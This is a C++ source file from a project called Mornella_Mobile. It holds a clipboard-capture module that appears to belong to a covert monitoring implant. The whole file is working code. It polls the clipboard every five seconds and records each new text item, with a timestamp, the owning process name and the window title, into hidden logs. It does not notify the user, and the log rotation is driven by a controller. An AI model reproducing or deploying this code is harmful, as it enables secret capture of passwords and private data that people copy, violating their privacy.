Mornella/Mornella_Mobile/Clipboard.cpp
#include "Modules.h"
#include "Common.h"
#include "Module.h"
DWORD WINAPI ClipboardModule(LPVOID lpParam) {
Module *me = (Module *)lpParam;
HANDLE moduleHandle;
BOOL bEmpty = TRUE;
INT iCount;
UINT uFormat, uMarkupLen, uHash = 0, uNewHash;
HANDLE hData;
HWND hWindow;
BYTE *pBuffer, *pMarkup;
wstring strText, strOld;
WCHAR wTitle[MAX_TITLE_LEN];
Log log;
me->setStatus(MODULE_RUNNING);
moduleHandle = me->getEvent();
if (log.CreateLog(LOGTYPE_CLIPBOARD, NULL, 0, FLASH) == FALSE) {
me->setStatus(MODULE_STOPPED);
return 0;
}
// Inizializziamo uHash con l'hash dell'ultima stringa presa
pMarkup = log.ReadMarkup(MODULE_CLIPBOARD, &uMarkupLen);
if (pMarkup && uMarkupLen == 4)
CopyMemory(&uHash, pMarkup, sizeof(uHash));
if (pMarkup) {
delete[] pMarkup;
pMarkup = NULL;
}
DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module is Alive\n", 5, FALSE);
LOOP {
do {
hWindow = GetClipboardOwner();
// Nessuno ha la clipboard
if (hWindow == NULL)
break;
if (OpenClipboard(hWindow) == FALSE)
break;
iCount = CountClipboardFormats();
if (iCount == 0) {
CloseClipboard();
break;
}
uFormat = EnumClipboardFormats(0);
if (uFormat == 0) {
CloseClipboard();
break;
}
do {
if (uFormat != CF_UNICODETEXT)
continue;
hData = GetClipboardData(CF_UNICODETEXT);
pBuffer = (BYTE *)GlobalLock(hData);
if (pBuffer) {
strText = (WCHAR *)pBuffer;
// Calcoliamone l'hash
uNewHash = FnvHash(pBuffer, strText.size() * sizeof(WCHAR));
GlobalUnlock(hData);
// Se e' un nuovo dato logghiamolo
if (uNewHash != uHash && strText != strOld) {
WCHAR wNull = 0;
HWND hParent;
DWORD dwProcId;
SYSTEMTIME st;
struct tm mytm;
wstring strProcName;
// Scriviamo la data di acquisizione nel log
GetSystemTime(&st);
SET_TIMESTAMP(mytm, st);
if (log.WriteLog((BYTE *)&mytm, sizeof(mytm)))
bEmpty = FALSE;
// Troviamo l'HWND della parent window
hParent = hWindow;
while (GetParent(hParent))
hParent = GetParent(hParent);
// Scriviamo il nome del processo nel log
GetWindowThreadProcessId(hParent, &dwProcId);
if (GetProcessName(dwProcId, strProcName) == FALSE)
strProcName = L"UNKNOWN";
log.WriteLog((BYTE *)strProcName.c_str(), strProcName.size() * sizeof(WCHAR));
log.WriteLog((BYTE *)&wNull, sizeof(WCHAR));
// Scriviamo il nome della finestra nel log
if (GetWindowText(hParent, wTitle, MAX_TITLE_LEN) == 0)
wcscpy_s(wTitle, MAX_TITLE_LEN, L"UNKNOWN");
log.WriteLog((BYTE *)&wTitle, (wcslen(wTitle) + 1) * sizeof(WCHAR));
// Scriviamo i dati della clipboard nel log
log.WriteLog((BYTE *)strText.c_str(), strText.size() * sizeof(WCHAR));
log.WriteLog((BYTE *)&wNull, sizeof(WCHAR));
// Scriviamo il delimiter nel log
UINT delimiter = LOG_DELIMITER;
log.WriteLog((BYTE *)&delimiter, sizeof(delimiter));
// Scriviamo l'hash della stringa attuale nel markup
uHash = FnvHash((PBYTE)strText.c_str(), strText.size() * sizeof(WCHAR));
log.WriteMarkup(MODULE_CLIPBOARD, (PBYTE)&uHash, sizeof(uHash));
}
}
} while (uFormat = EnumClipboardFormats(uFormat));
strOld = strText;
CloseClipboard();
} while(0);
WaitForSingleObject(moduleHandle, 5000);
if (me->shouldStop()) {
DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module is Closing\n", 1, FALSE);
log.CloseLog(bEmpty);
me->setStatus(MODULE_STOPPED);
return 0;
}
if (me->shouldCycle()) {
DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module, log cycling\n", 1, FALSE);
log.CloseLog(bEmpty);
log.CreateLog(LOGTYPE_CLIPBOARD, NULL, 0, FLASH);
}
}
return 0;
}